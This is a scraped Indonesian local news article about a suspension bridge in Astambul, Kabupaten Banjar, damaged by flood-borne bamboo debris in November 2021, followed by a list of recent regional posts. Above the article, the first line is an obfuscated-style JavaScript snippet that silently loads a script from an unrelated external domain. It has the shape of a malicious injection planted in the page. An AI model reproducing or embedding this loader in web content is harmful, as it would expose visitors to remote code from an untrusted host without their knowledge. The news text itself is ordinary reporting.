(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Dihantam Tumpukan Bambu Jembatan Astambul Kota Rusak Parah


KANALKALIMANTAN.COM, MARTAPURA – Luapan air Sungai Riam Kiwa menyebabkan sebuah jembatan gantung berbahan ulin yang menghubungkan Desa Astambul Kota dan Desa Astambul Seberang, Kecamatan Astambul, Kabupaten Banjar, Kalsel rusak parah.

Peristiwa itu terjadi Selasa (30/11/2021) sekitar pukul 15.00 Wita diiringi teriakan warga desa setempat yang cuma bisa menyaksikan kejadian dan tidak bisa berbuat banyak.

Berdasar video yang beredar di media sosial putusnya jembatan gantung itu karena tumpukan bambu berukuran besar terbawa arus di Sungai Riam Kiwa yang melintas di desa itu.

Tingginya volume air saat itu mengakibatkan tumpukan batang bambu itu tidak bisa lewat di bawah jembatan. Tumpukan bambu itu kemudian menabrak bagian tengah lantai jembatan. Kuatnya arus mengakibatkan tumpukan bambu makin kuat menghantam jembatan.

 

Baca juga : Ground Breaking RSUD Pambalah Batung, Empat Gedung Baru Senilai Rp 209 Miliar

Hitungan detik kemudian, jembatan gantung itu pun rusak dan tak bisa lagi digunakan masyarakat.

Dikonfirmasi mengenai hal itu, Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Banjar, A Solhan, menyatakan pihaknya akan segera melakukan penanganan terhadap kejadian itu.

“Kami akan segera mengecek kerusakan guna menentukan tindakan selanjutnya,” jelas Solhan.

Sementara ini, lanjut dia, masyarakat pengguna jembatan diharapkan agar tidak melintasi dulu jembatan itu.

Untuk keamanan dan keselamatan, sementara waktu agar menggunakan jembatan lainnya yang juga bisa digunakan sebagai akses aktivitas masyarakat.

 

Baca juga : Tahun Depan Berlaku SPBE, e-Office dan Tanda Tangan Elektronik Disosialiasikan

“Di sana masih ada jembatan rangka baja yang bisa digunakan. Memang agak jauh dari jembatan gantung itu. Tapi bisa digunakan sementara kami melakukan penanganan,” katanya.

Dalam beberapa hari terakhir ini, debit air Sungai Riam Kiwa yang terhubung ke Sungai Martapura mengalami peningkatan. Sejumlah daerah, seperti di Kecamatan Astambul, Martapura Timur sudah ada yang tergenang atau mengalami kebanjiran. (kanalkalimantan.com/dhani)

Reporter : dhani
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.